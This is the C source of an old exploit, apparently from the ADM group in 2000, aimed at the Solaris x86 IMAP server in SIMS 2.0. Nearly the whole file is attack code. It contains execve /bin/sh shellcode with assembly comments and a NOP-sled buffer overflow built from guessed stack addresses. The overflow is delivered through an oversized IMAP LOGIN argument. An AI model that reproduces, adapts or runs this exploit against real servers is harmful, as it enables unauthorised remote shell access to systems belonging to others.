/* Copyright (c) 2000 ADM [2000]*/ /* All Rights Reserved [2000]*/ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM[2000]*/ /* The copyright notice above does not evidence any [2000]*/ /* actual or intended publication of such source code. */ /* [2000]*/ /* Title: ADMsximap.c (ADM Solaris X86 IMAP .c) */ /* Tested under: SIMS 2.0, fixed now [2000]*/ /* By: K2 [2000]*/ /* Discoverd by: DiGiT [2000]*/ /* Shellcode by: cheez [2000]*/ /* GROUP EFFORT*@$()!*$#(&@!*(!$ [2000]*/ /* [2000]*/ #include #include #include #include char shell[] = /* 0 */ "\xeb\x2d" /* jmp springboard[2000]*/ /* start: [2000]*/ /* 2 */ "\x5e" /* popl %esi [2000]*/ /* 3 */ "\x31\xdb" /* xor %ebx,%ebx [2000]*/ /* 5 */ "\x88\x5e\x07" /* movb %bl,0x7(%esi) */ /* 8 */ "\x89\x5e\x0c" /* movl %ebx,0xc(%esi) */ /* 11 */ "\x89\x5e\x13" /* movl %ebx,0x13(%esi) */ /* 14 */ "\x88\x5e\x18" /* movb %bl,0x18(%esi) */ /* 17 */ "\xb3\x80" /* movb $0x80,%bl [2000]*/ /* 19 */ "\x28\x5e\xed" /* subb %bl,-0x13(%esi) */ /* 22 */ "\x28\x5e\xf1" /* subb %bl,-0xf(%esi) */ /* 25 */ "\x28\x5e\xf7" /* subb %bl,-0x9(%esi) */ /* 28 */ "\x28\x5e\xf8" /* subb %bl,-0x8(%esi) */ /* 31 */ "\x31\xc0" /* xor %eax,%eax [2000]*/ /* 33 */ "\xd0" /* pushl %eax [2000]*/ /* 34 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */ /* 37 */ "\xd3" /* pushl %ebx [2000]*/ /* 38 */ "\x8d\x1e" /* leal (%esi),%ebx */ /* 40 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */ /* 43 */ "\xd3" /* pushl %ebx [2000]*/ /* 44 */ "\xd0" /* pushl %eax [2000]*/ /* 45 */ "\xeb\x15" /* jmp exec [2000]*/ /* springboard: [2000]*/ /* 47 */ "\xe8\xce\xff\xff\xff" /* call start [2000]*/ /* data: [2000]*/ /* 52 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA [2000]*/ /* 60 */ "\xff\xff\xff\xff" /* DATA [2000]*/ /* 64 */ "\xff\xff\xff\xff" /* DATA [2000]*/ /* execve: [2000]*/ /* 68 */ "\xb0\x3b" /* movb $0x3b,%al [2000]*/ /* 70 */ "\x9a\xff\xff\xff\xff\x07\xff"; /* lcall 0x7,0x0 [2000]*/ #define SIZE 1600 #define NOPDEF 631 #define DEFOFF -111 const char x86_nop=0x90; long nop=NOPDEF,esp=0x80472a0; long offset=DEFOFF; char buffer[SIZE]; int main (int argc, char *argv[]) { int i; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); memset(buffer, x86_nop, SIZE); memcpy(buffer+nop, shell, strlen(shell)); for (i = (nop+strlen(shell)); i < SIZE; i += 4) { *((int *) &buffer[i]) = esp+offset; } fprintf(stderr,"offset = 0x%x\tstrlen %d\n",esp+offset,strlen(buffer)); printf("604 LOGIN \"%s\" pass\r\n", buffer); return 0; } /* www.hack.co.za [23 Feb 2000]*/